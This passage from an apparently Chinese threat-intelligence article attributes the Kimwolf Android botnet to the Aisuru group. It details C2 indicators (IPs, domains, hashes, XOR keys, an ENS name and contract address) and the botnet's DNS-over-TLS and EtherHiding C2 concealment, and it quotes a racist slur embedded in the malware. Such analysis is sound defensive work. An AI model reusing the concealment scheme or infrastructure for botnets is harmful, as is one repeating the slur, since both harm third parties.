UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">一锤定音的证据</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，在样本下载服务器<span textstyle="" style="font-weight: bold;">93.95.112.59</span>上捕获的脚本中直接将<span textstyle="" style="font-weight: bold;">kimwolf(mreo31.apk)</span>和<span textstyle="" style="font-weight: bold;">aisuru(meow217)</span>关联在一起。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000677" alt="kimwolf_dlscript.png" class="rich_pages wxw-img" data-ratio="0.3854314002828854" data-type="png" data-w="1414" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=f86867ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YM3Rzcv2fedPNMEpefaUkILLPsrZpWHbBPBJg4A3WgXibZxpc4rfdTtRw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">谨慎的读者或许会问：“是否存在一种可能，即Aisuru团伙的代码遭泄露或已转卖给了第三方？”坦白而言，这种可能性确实存在。所幸的是，上述11月29日捕获的Aisuru样本，虽然C2地址已更新，但仍复用了此前名为</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">tiananmeng</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">的Reporter。基础设施的复用强有力地排除了第三方复用代码的可能性。</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">综上，我们有高度的信心将Kimwolf归属于Aisuru团伙</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">。</span></span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000676" alt="kimwolf_aisurunew.png" class="rich_pages wxw-img" data-ratio="0.22823033707865167" data-type="png" data-w="1424" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=0d4061f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMA1YC6eq1rdIBtIbnlrrs3Chh6ic5A31vMpcB8dsNLyuGqaiba2gIPCHQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">技术细节</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">我们捕获的Kimwolf样本中可以分成v4，v5俩个大版本。在v4中，Kimwolf的作者或是出于恶趣味，或是出于表达政治态度，喜欢在控制台输出各种信息。</span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">例如：</span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本 18dcf61dad028b9e6f9e4aa664e7ff92 输出 &#34;</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">ForeheadSDK v2.0 Premium Edition&#34;</span></p></li></ul><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本 2078af54891b32ea0b1d1bf08b552fe8 输出 &#34;Kim Jong-un Leads Our Nation to Strength. Long live our Supreme&#34;</span></p></li></ul><p><code></code></p><p style="text-align: left;"><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">最夸张的是样本1c03d82026b6bcf5acd8fc4bcf48ed00，除出输出一系列政治观点，还专门嘲讽知名网络安全调查记者Krebs，称其拥有“大脑门”（<span textstyle="" style="font-weight: bold;">KREBSFIVEHEADFANCLUB</span>），甚至戏谑地让Xlab团队“品尝童子蛋”（<span textstyle="" style="font-weight: bold;">VIRGINBOYEGGSFORXLAB</span>）。</span></code></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000678" alt="kimwolf_console3.png" class="rich_pages wxw-img" data-ratio="0.6457431457431457" data-type="png" data-w="1386" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=0c53f907&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMxTbkhbyF0ibt4hnlGkKiblvuOAXhbWfJtrK6YXtfWHuibvj659aaiaMQAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Kimwolf的作者相当睚眦必报，我们抢注其C2之后，他们马上反击，在<span textstyle="" style="font-weight: bold;">ssl_socket</span>的DDoS攻击方法中，留下一个“彩蛋”对中国人进行污名化。对此，我们只想说：“别太嚣张，迟早得吃我们几记铁拳”。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">idontlikemchineseniggas</span></span></code><br/><code><span leaf="">becausetheylikeitrealyoung</span></code><br/><code><span leaf="">myniggatheylikeit131415.com</span></code><br/></pre></p><pre><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">v4与v5版本的核心恶意功能高度一致，其运作流程均可概括为：样本在受感染设备启动后，首先通过创建文件socket实现单一实例，确保同一设备上仅有一个进程持续运行；随后解密内嵌的C2域名，并为了规避常规检测，使用DNS-over-TLS协议向公共DNS服务（8.8.8.8或1.1.1.1）的853端口发起查询，以获取真实C2 IP；最终与该IP建立通信连接，进入等待状态，随时准备接收并执行来自控制端的指令。</span></code></pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">v4与v5版本最显著的区别在于获取真实C2 IP的方式：v4版本直接使用DNS查询C2域名的A记录，而v5版本在查询到IP后，还需进行异或操作。以C2域名</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">rtrdedge1.samsungcdn[.]cloud</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">为例，其在12月3日解析出的IP为</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">44.7.0.45</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，与</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">0xce0491</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">异或后得到真实的C2 IP </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">45.206.3.189</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000679" alt="kimwolf_realip.png" class="rich_pages wxw-img" data-ratio="0.6002396166134185" data-type="png" data-w="2504" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9f6bde06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMVVlmnMTbjhZ7nzEUt14IooicWEM6JWkn2bHXhgicA8XFDiam7ibGf41AWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">12月12日Kimwolf开始使用</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">EtherHiding</span>技术</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，样本了引入一个 ENS 域名（Ethereum Name Service，以太坊名称服务），</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">pawsatyou.eth</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，C2隐藏在“lol”的文本记录。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000675" alt="kimwolf_enslol.png" class="rich_pages wxw-img" data-ratio="0.14089661482159194" data-type="png" data-w="1093" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=61e29189&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMCO8r9lOFf9Vt4YianHicShzgoicpT7GW5Ak2ibYibUicjvWLm3FuOVOIpOMQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">但真实C2并不是&#34;lol&#34;中的IPV6，而是取地址的后4字节再进行异或后得到真实IP。以</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">fed0:5dec:ea5e:d013:130:9:1be7:8599</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">为例，取后4字节</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">1b e7 85 99</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">与</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">0x93141715</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">后得到真实C2 IP </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">136.243.146.140</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000680" alt="kimwolf_decipv6.png" class="rich_pages wxw-img" data-ratio="0.3767441860465116" data-type="png" data-w="860" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=997b8d72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMX513B6o0icLnfX7GGcyatExhQjn942Pwadtxz8GqNf38xxiaeI8OwibKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">ENS的技术本质是一套部署在以太坊上的智能合约系统，pawsatyou.eth的合约地址为<span textstyle="" style="font-weight: bold;">0xde569B825877c47fE637913eCE5216C644dE081F</span>。熟悉智能合约的读者不难理解这一设计背后的优势：Kimwolf通过合约实现了一种类似云端配置C2的渠道，即使C2 IP被处置，攻击者只需更新lol记录就能快速下发新的C2。而这个渠道本身依托于区块链的去中心化特性，不受以太坊或其他区块链运营方的监管，也无法被阻断。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000684" alt="kimwolf_updatec2.png" class="rich_pages wxw-img" 